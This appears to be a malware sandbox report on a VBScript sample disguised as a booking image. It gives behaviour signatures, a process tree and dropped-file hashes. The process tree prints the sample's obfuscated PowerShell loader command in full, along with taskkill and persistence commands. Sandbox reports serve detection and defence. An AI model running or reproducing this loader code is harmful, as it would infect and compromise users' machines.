Analysis

  • max time kernel
    149s
  • max time network
    110s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 03:29

General

  • Target
    Booking180023png.vbs
  • Size 25KB
  • Sample260825-d2ekvssvcv
  • SHA256 ea8ea9ca27df40a6e2f961098431f5fd6116f469682e5152c080553664bb9d7a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Booking180023png.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:1416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=84-83;$jwc3jvQn='gXgc0fLr';$qv9zVUupS='ab87a3aaeea589b6edadbfe1bebfcfa3e999f0ffaff7bd8bb481b9acf7e2b2bdb586e38cf4af89bca49caa94a0f6b38c8bcae38effb8b5acbf9ba3aeb29784a1b9979694c7e4bd8bb481b9acf7e2a5b7a384a8bbee91dce28b80a2a4d8ad95bdfbc69ebde8a588bfe5d6bee0e6e99dfc92dfafb1f5bec2b3b0dbe4b497c6ebd29e86acbbeee1b5b4a897bde9b79f83bba29ca9babaffebd296bca8bdb49f83aabb9baeaccaa38fb6b9bfaca7fbab83aa90c8f79affaf93aaa486b499e8a392b7ae9da1e9a7ecbd96a886e39affaf93aaa486b499e8a392b7ae9da19de3bc8385f7c899a5e9fdd4d5c7d6acfaaaf1ce87bfd2ea83c8a7b6959ebfbe80f395b3bba4c2fa83cb95be969cc6f988a98d8fbbb4c2fd8ee0aba29e9ea3978da989849ea3b7fd8fd9bbbe948ebf8a8fe3bf8a9aa4c2fe80e3bf9f92a4bb878fe3ab8c9aa4c2bf8adb95b695a595978de0bfaf9ababfb88ed896d6bb9ebcb7aadba7bf9f9fbfb983d285a2bb8f95be86ce89bf978cbffa83cb95aebb9eb39a8dd995b79f9ccafa8ee29691938ebf8782f395b09aa395bd8eed9dae97b4b8b78fe099bf94899efd8afd95aabc8ea78a8fe381bc9daabfbb8af2a7d799b4b8b48de3fc8c9eaa81b483d885a294a5b7988be0bf8fbbb591fc8ed9bbd3bc8cc2bc83c9fc8a9a8f96fc8ee295b6bb8ea78a85ce9d84bb9c91fa80f481be969f95be86c29dad99a482ff8adb9592948c9d8a83f395af9e95b3fd83c895d395aa9d9787c2abaf9b9c81b983cba7be978ebfa288ed818f9b9cbf8880a98291939eb39aadce9db7bba591f980f3bbbe968ea7888ce0af8c9eaa91b580e3a4d69c8ebcb78be3a3ad9aa4bbb58df48691bd8ccff0eeb3c1ec99a996e09de3bc83f8e0a6b4b9ff8883bea49ca4bdf3a388f8e5a999ace2b8c89da391a2adf3a28185f7c8989ddcf4c89fa8869ebde8a588bfe5a98ea6f4ba83aab9aff7f3dcbe89b58f93beacacf8b5acbf9ba3aeb2e887ebfddbe4e097c680ada391b9a0f5a2c6bce5d6acfaabe59dfcacc1fff4d4a991f58290a7acf9b8c696a886e39effaea5b4a497a3bda1e4a1bdb9df9fa8f4a889b5edd6acfaabeccb9ba287a3bdbae887ebfcdc8ea6efa292f1b1d7b6bde8b59daaa886b8bbf4ecc2b9fec0e38df5bb88b4a293a98dfbb887f0e9ade4b4f9ad92bba589b0b4e7c1ecbeb89caebdf3a388f8a4dae9a8a9e0c2b9f9dee9a8afe0c2b9fbcf8de1b3e59dfcacc5f092caa487b6b99da08efbb88385f7c881a6fba8a7abbe97a0abf6b5cefcacc1e4f2beaddee5e993fae7dda9928cb482a8bab2e59ae7b6d692e7dcb98ab48393a0acbae183a9';$mZFW4lDnk='EilTAhgIPUYLMBZXXR1eQkZAV0INXH0PFmwHGk1oS0JUYVdVEVp2SRxPW1gBWndAdGFTURZuMXhALRVzMWJza2FqW1Q0C2xrSkgCfxwDdm5fPWF4NnIobHFHRnUmC2BpYUxEfwxiJAAbJBsNQVEpGltrGhdBUiAJe35hQgRHcEQbdml3BkdwUVN5XUQ4CSNkQGhTQgB6d1RGbFxVABs9RgokTw1BUiAJe2NEWQ5WMQNQPR4SBAUwWj8HPzxBUSgaciUaHjpBOQB5WWcHQho5DBIlbURFFFR/RnhQXzxcV3RZPXsEXVpVTkp4dlwoA1JOY354citGUmRFanhfN0ZUXmN5eHUkSlNjeHh4ZVEBVV4CeHt1M0ZaZEVqeF83RnpKCn9/ZTwOPg4bIRoeOkE5AHlZZwcoa21SUGNkBgcAV11WSgtBBl1LUVFFVk4HWkxSfGQKQilaWEt/YAdPB0pqX3hqDwtCGjALGiVtREUUUnNnPH9uEUZ7SXB1VltcRH1JZHtRBTdEexRwelEEUVxVZGh4UVtdQVR0azAVH0waFC1baxoeQVErGlYtFlRUGjRGXGkaEgQHJHxmaEpCS3Z3RF1pW1gCbiMdZ1l0Dkt0fFNheUBfC1QxA1A/Gx9IXnhTUWUaaRcTPkFqPWFwNHIkABstGRZNbGsHFUhKYEpVK0tEbAEDClVBF3dJRQtYFDAHGS0aaRcTPmVqNB0RTBpiKjgtEhIHADkaEiVtREUUV3NZPFBBBlhTdEFqfnVcRnp/ZHhXbjNFfX98d1AFDUV9FHB3UFtQBFNNe2N5XzxdUnRRdHhMLF8+DhI2EhIHADkaEilQBUtgbEVBeUBfC1QxFx4tFlRWHVVCXGpGXkUeORYAJD88QVIqFhIwEh46QTkAUXoPC0IaORw/BxZUUQ4xeEAtFXohVGFqSzlfexxyakVFZkcRTBMyBxpSQBZCf1p2WUBVC1gUMBw/BxIWRRNwBxpWcVkLRXxVRlAIDCNBdkpwbEFTUwdKU0BkXFFNF1RGRm5aUxZoKHobJBISBwc5D21/EhEoSUhRf2d7C0IaOWcaKVAFSRM9RgE8HhZNbGsHFUhVdwp4XWJVQEULWBQwCxIlbURFFFxeY2BzcixAPg4eLRppFxM+RGMwDxFMEzUHGlJAFkJ8QUsBKhsfaDk5BxItdVMRHklVXW5XRRZPakhAeRJ1NWY5ClZoQVUZQHxLV25GFkhVcFVBeRIDGVVtB3xsX1NJcElyEnA/PGg5OQcSLRIWRRM5Bw==';$yod95MLD=0xE1A5-0xADE2;$pYhWmYj=@();foreach($c in [char[]]$jwc3jvQn){$pYhWmYj+=[byte]($c-bxor0xAA)};$jyFfKi=$pYhWmYj;$pYhWmYj=@();foreach($c in [char[]]$jwc3jvQn){$pYhWmYj+=[byte]($c-bxor0x55)};$shGwk4vV=$pYhWmYj;$pYhWmYjoldR='';$i=0;for($j=0;$j-lt$qv9zVUupS.Length;$j+=2){$pYhWmYjoldR+=[char](([Convert]::ToInt32($qv9zVUupS.Substring($j,2),16))-bxor$jyFfKi[$i++%$jyFfKi.Length])};$wa9oEeF=$pYhWmYjoldR;$pYhWmYjoldB=[Convert]::FromBase64String([regex]::Replace($mZFW4lDnk, '$pYhWmYj', ''));$pYhWmYjoldR='';$i=0;for($j=0;$j-lt$pYhWmYjoldB.Length;$j++){$pYhWmYjoldR+=[char]($pYhWmYjoldB[$j]-bxor$shGwk4vV[$i++%$shGwk4vV.Length])};$hW0qw4F=$pYhWmYjoldR;$cQbwRL=$wa9oEeF+$hW0qw4F;.($env:ComSpec[4,26,25]-join'') $cQbwRL
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2896
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1104
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB126.tmp" "c:\Users\Admin\AppData\Local\Temp\dqsm2p44\CSC465F48D3397D4758874D1BB3B9F28B6C.TMP"
          4⤵
            PID:4628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3636
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4452
            • C:\Windows\system32\taskkill.exe
              taskkill /IM RegAsm.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2956
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Vbc.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:6084
            • C:\Windows\system32\taskkill.exe
              taskkill /IM MsBuild.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\SAiipar.vbs' -Force }
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4228
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4532
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5004
            • C:\Windows\system32\taskkill.exe
              taskkill /IM RegAsm.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2724
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Vbc.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3816
            • C:\Windows\system32\taskkill.exe
              taskkill /IM MsBuild.exe /F
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4760
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:1948
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:6068

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 d92d529483d3340105c18086873cfbbc79ba2585fadb31c73c908545abc1f97c
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
            • MD5 SHA1 SHA512 TLSH

            RESB126.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESB126.tmp
            • Size 1KB
            • SHA256 6e36cc8d02263bd856345bcd8599baf5c1919a94196ac5c822e428164f151df6
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_vavde3ob.1tw.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vavde3ob.1tw.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            dqsm2p44.dll

            • Path C:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.dll
            • Size 3KB
            • SHA256 6a480ef88afc9c214152a73d9a2b17b457f3058db5bdd6e4ce9cfc2467351ad4
            • MD5 SHA1 SHA512 TLSH

            CSC465F48D3397D4758874D1BB3B9F28B6C.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\dqsm2p44\CSC465F48D3397D4758874D1BB3B9F28B6C.TMP
            • Size 652B
            • SHA256 1f0d8f015c86430e080cfe58a3fdb56caebf93a5dad4d5a57804a67f4f0dce1c
            • MD5 SHA1 SHA512 TLSH

            dqsm2p44.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.0.cs
            • Size 213B
            • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
            • MD5 SHA1 SHA512 TLSH

            dqsm2p44.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.cmdline
            • Size 369B
            • SHA256 7b626313e4aca6936110a51d9565bf01553d8793df11c69454b764a25398144a
            • MD5 SHA1 SHA512 TLSH

            memory/1948-47-0x0000000000040000-0x000000000008C000-memory.dmp

            memory/2896-10-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-32-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-15-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-18-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-19-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-13-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-12-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-11-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-0-0x00007FF98B9FF000-0x00007FF98BA00000-memory.dmp

            memory/2896-9-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-30-0x000002454C570000-0x000002454C578000-memory.dmp

            memory/2896-14-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-33-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-34-0x000002454AB80000-0x000002454AB96000-memory.dmp

            memory/2896-8-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-7-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-6-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-5-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-4-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

            memory/2896-3-0x0000024564A70000-0x0000024564A92000-memory.dmp

            memory/2896-51-0x00007FF98B870000-0x00007FF98C214000-memory.dmp